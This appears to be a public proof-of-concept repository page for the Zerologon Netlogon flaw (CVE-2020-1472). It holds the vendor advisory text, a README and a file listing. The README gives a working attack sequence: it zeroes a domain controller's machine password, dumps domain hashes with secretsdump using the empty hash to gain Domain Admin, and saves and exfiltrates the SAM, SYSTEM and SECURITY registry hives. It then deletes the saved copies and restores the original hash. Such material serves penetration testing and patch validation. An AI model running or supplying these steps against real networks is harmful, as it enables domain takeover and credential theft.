CVE-2020-1472 PoC — Netlogon Elevation of Privilege Vulnerability

Source

Associated Vulnerability

Title:Netlogon Elevation of Privilege Vulnerability (CVE-2020-1472)
Description:An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). An attacker who successfully exploited the vulnerability could run a specially crafted application on a device on the network. To exploit the vulnerability, an unauthenticated attacker would be required to use MS-NRPC to connect to a domain controller to obtain domain administrator access. Microsoft is addressing the vulnerability in a phased two-part rollout. These updates address the vulnerability by modifying how Netlogon handles the usage of Netlogon secure channels. For guidelines on how to manage the changes required for this vulnerability and more information on the phased rollout, see How to manage the changes in Netlogon secure channel connections associated with CVE-2020-1472 (updated September 28, 2020). When the second phase of Windows updates become available in Q1 2021, customers will be notified via a revision to this security vulnerability. If you wish to be notified when these updates are released, we recommend that you register for the security notifications mailer to be alerted of content changes to this advisory. See Microsoft Technical Security Notifications.

Description

Exploit for zerologon cve-2020-1472

Readme

# ZeroLogon exploitation script

Exploit code based on https://www.secura.com/blog/zero-logon and https://github.com/SecuraBV/CVE-2020-1472. Original research and scanner by Secura, modifications by RiskSense Inc.

To exploit, clear out any previous Impacket installs you have and install Impacket from https://github.com/SecureAuthCorp/impacket/commit/b867b21 or newer. Then, do:

```
python3 set_empty_pw DC_NETBIOS_NAME DC_IP_ADDR
```

If that's successful you will then be able to:
```
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr'
```
which should get you Domain Admin. After you have that, wmiexec.py to the target DC with a credential from the secretsdump and do
```
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
```

Then you can
```
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
```
And that should show you the original NT hash of the machine account. You can then re-install that original machine account hash to the domain by
```
python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH
```

Reinstalling the original hash is necessary for the DC to continue to operate normally.

File Snapshot


 [4.0K]  /data/pocs/902a4789f2b5d90a4b745f11506357004ceb636e
├── [1.1K]  LICENSE
├── [1.3K]  README.md
├── [6.4K]  reinstall_original_pw.py
├── [ 348]  requirements.txt
└── [5.7K]  set_empty_pw.py

0 directories, 5 files

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